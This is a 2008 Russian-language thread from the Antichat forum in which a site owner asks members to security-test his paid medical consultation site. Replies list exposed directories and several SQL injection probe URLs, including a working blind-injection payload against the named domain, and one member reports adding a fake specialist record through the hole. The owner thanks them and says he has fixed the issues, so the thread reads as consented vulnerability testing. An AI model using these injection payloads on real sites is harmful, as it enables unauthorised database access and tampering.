ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Проверка на уязвимости
Перезагрузить страницу Проверка безопасности http://homeostasmed.com
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Проверка безопасности http://homeostasmed.com
  #1  
Старый 15.09.2008, 02:43
Аватар для halucinogen
halucinogen
Новичок
Регистрация: 09.09.2008
Сообщений: 5
Провел на форуме:
8048

Репутация: 0
По умолчанию Проверка безопасности http://homeostasmed.com
Сайт - платные медицинские онлайн консультации в реальном времени.
Все самописное.
Тестовый юзер:
логин: xxx@mail.ru
пасс: xxxxx
Последний раз редактировалось halucinogen; 16.09.2008 в 02:30..
 
Ответить с цитированием

  #2  
Старый 16.09.2008, 01:41
Аватар для AKYLA
AKYLA
Участник форума
Регистрация: 29.11.2007
Сообщений: 116
Провел на форуме:
283596

Репутация: 88
По умолчанию
Листинг директорий:
/adm/pics/
/pics/payment/

Иньекции:
файл: index.php
переменные: exp, pg
/index.php?page=spec&pg='
/index.php?page=spec&sp=2&subsp=10&exp='
/index.php?page=spec&pg=%00'
ну и так далее

п.с тестовый логин не пашет
 
Ответить с цитированием

  #3  
Старый 16.09.2008, 02:28
Аватар для halucinogen
halucinogen
Новичок
Регистрация: 09.09.2008
Сообщений: 5
Провел на форуме:
8048

Репутация: 0
По умолчанию
аа! пароль не три икса а 5! xxxxx
 
Ответить с цитированием

  #4  
Старый 16.09.2008, 02:37
Аватар для halucinogen
halucinogen
Новичок
Регистрация: 09.09.2008
Сообщений: 5
Провел на форуме:
8048

Репутация: 0
По умолчанию
Цитата:
Сообщение от AKYLA  
Иньекции:
файл: index.php
переменные: exp, pg
/index.php?page=spec&pg='
/index.php?page=spec&sp=2&subsp=10&exp='
/index.php?page=spec&pg=%00'
ну и так далее
иньекций тут не сделаешь ибо все фильтруется, но варнинги уберу
 
Ответить с цитированием

  #5  
Старый 16.09.2008, 02:47
Аватар для AKYLA
AKYLA
Участник форума
Регистрация: 29.11.2007
Сообщений: 116
Провел на форуме:
283596

Репутация: 88
По умолчанию
Цитата:
иньекций тут не сделаешь ибо все фильтруется, но варнинги уберу
Ну это смотря как закрутить даже фильтрация не всегда помогает
 
Ответить с цитированием

  #6  
Старый 16.09.2008, 09:50
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию
Цитата:
иньекций тут не сделаешь ибо все фильтруется
Ну-ну:
Цитата:
http://homeostasmed.com/index.php?page=spec&sp=2&subsp=3&exp=-9+or+(substring((select+version()),1,1)=5)--
Фильтров вообще никаких не заметил.
__________________
..
 
Ответить с цитированием

  #7  
Старый 16.09.2008, 11:53
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
Я там нового специалиста добавил, что-бы развеять иллюзии по поводу фильтрации

http://homeostasmed.com/index.php?page=spec&pg=2
http://homeostasmed.com/index.php?page=spec&sp=12&subsp=0&exp=127

Если не понятно как и что , подробности в ПМ

P.S Надеюсь имидж фирмы не пострадает, проверка есть проверка
 
Ответить с цитированием

  #8  
Старый 16.09.2008, 17:17
Аватар для halucinogen
halucinogen
Новичок
Регистрация: 09.09.2008
Сообщений: 5
Провел на форуме:
8048

Репутация: 0
По умолчанию
упс.. спасибо! =)
все не усмотриш сразу!
 
Ответить с цитированием

  #9  
Старый 17.09.2008, 02:51
Аватар для halucinogen
halucinogen
Новичок
Регистрация: 09.09.2008
Сообщений: 5
Провел на форуме:
8048

Репутация: 0
По умолчанию
все вроде подправил
 
Ответить с цитированием

  #10  
Старый 17.09.2008, 20:15
Аватар для slider
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию
Цитата:
Изменить пароль:
Новый пароль
Не менее 5 символов
Подтверждение пароля
Сделай проверку старого пароля... или прикрути каптчу...
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Инфа по сетям, безопасности. nerezus *nix 10 12.02.2009 03:57
Семь возможностей повышения безопасности сервера SharePoint Solide Snake Чужие Статьи 1 06.07.2008 02:53
Обзор Сканеров Безопасности Elekt Уязвимости 7 14.05.2008 00:01
Firewalltotal - сервис проверка файла файрволами! apexsoft Разное - Покупка, продажа, обмен 4 01.02.2008 18:24
Проверка надежности Web-приложений. Часть Третья k00p3r Чужие Статьи 0 13.06.2005 11:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ